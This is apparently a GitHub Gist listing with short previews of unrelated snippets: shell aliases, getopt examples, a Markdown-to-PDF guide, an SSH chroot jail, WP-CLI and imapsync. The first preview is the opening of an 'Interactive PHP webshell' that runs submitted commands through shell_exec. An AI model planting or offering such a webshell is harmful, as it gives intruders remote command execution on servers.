Skip to content

Instantly share code, notes, and snippets.

@mrpapercut
mrpapercut / shell.php
Last active May 29, 2023 14:15
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@justincbagley
justincbagley / How_to_Convert_Markdown_to_PDF.md
Last active April 28, 2024 22:28
How To Convert Markdown to PDF

How to convert markdown to PDF:

This post reviews several methods for converting a Markdown (.md) formatted file to PDF, from UNIX or Linux machines.

Using Pandoc:

$ pandoc How_I_got_svg-resizer_working_on_Mac_OSX.md -s -o test1.pdf
@keithweaver
keithweaver / write-to-file.py
Created March 25, 2017 19:28
Write to File with Python
# Writing to a file in Python
# This was tested on Python 2.7.
# path - is a string to desired path location. The file does
# not have to exist.
# content - is a string with the file content.
def writeToFile(path, content):
file = open(path, "w")
file.write(content)
file.close()
@floudet
floudet / ssh-chroot-jail.sh
Created June 19, 2016 11:57
Chroot Jail for SSH Access
# Chroot Jail for SSH Access
# Tested on Ubuntu 14.04.2 LTS and Debian GNU/Linux 8 (jessie)
# Reference : http://allanfeid.com/content/creating-chroot-jail-ssh-access
#
# Had to add/change several things to make it work, including:
# - create lib64 folder
# - copy whoami dependencies that ldd doesn't show to fix 'I have no name!'
# in the customized prompt + create passwd file
#
@jplhomer
jplhomer / disable-comments.sh
Created February 25, 2015 16:38
Disable all comments/pings in WordPress with WP-CLI
$ wp post list --format=ids | xargs wp post update --comment_status=closed
# Output:
# Success: Updated post 2514.
# Success: Updated post 2511.
# Success: Updated post 2504.
# Success: Updated post 2499.
# Success: Updated post 2441.
# etc...
@drmalex07
drmalex07 / getopt-example.sh
Last active May 3, 2024 03:03
A small example on Bash getopts. #bash #getopt #getopts
#!/bin/bash
#
# Example using getopt (vs builtin getopts) that can also handle long options.
# Another clean example can be found at:
# http://www.bahmanm.com/blogs/command-line-options-how-to-parse-in-bash-using-getopt
#
aflag=n
bflag=n
@onlime
onlime / accounts.list
Last active May 4, 2023 12:08
imapsync script to migrate multiple IMAP accounts in a row
# <SRCUSER> <SRCPW> <DSTUSER> <DSTPW>
@rosterloh
rosterloh / getopts.sh
Created June 2, 2014 16:07
An example of how to use bash getopts
#!/bin/bash
######################################################################
#This is an example of using getopts in Bash. It also contains some
#other bits of code I find useful.
#Author: Linerd
#Website: http://tuxtweaks.com/
#Copyright 2014
#License: Creative Commons Attribution-ShareAlike 4.0
#http://creativecommons.org/licenses/by-sa/4.0/legalcode
@greyaperez
greyaperez / Most_Useful_Shell.sh
Created December 10, 2013 15:42
Some of the most useful bash/shell functions and aliases.
alias editbash='vim ~/.bashrc'
alias updatebash='source ~/.bashrc'
alias ls='ls -alC --color=auto'
function search (){
egrep -roiI $1 . | sort | uniq
}
function whereis (){
find . -name "$1*";
#!/bin/bash
IPADDR=""
if [ -f /usr/bin/ec2metadata ]
then
IPADDR=`timeout 1 ec2metadata --public-hostname`
fi
if [ "$IPADDR" = "" ]
then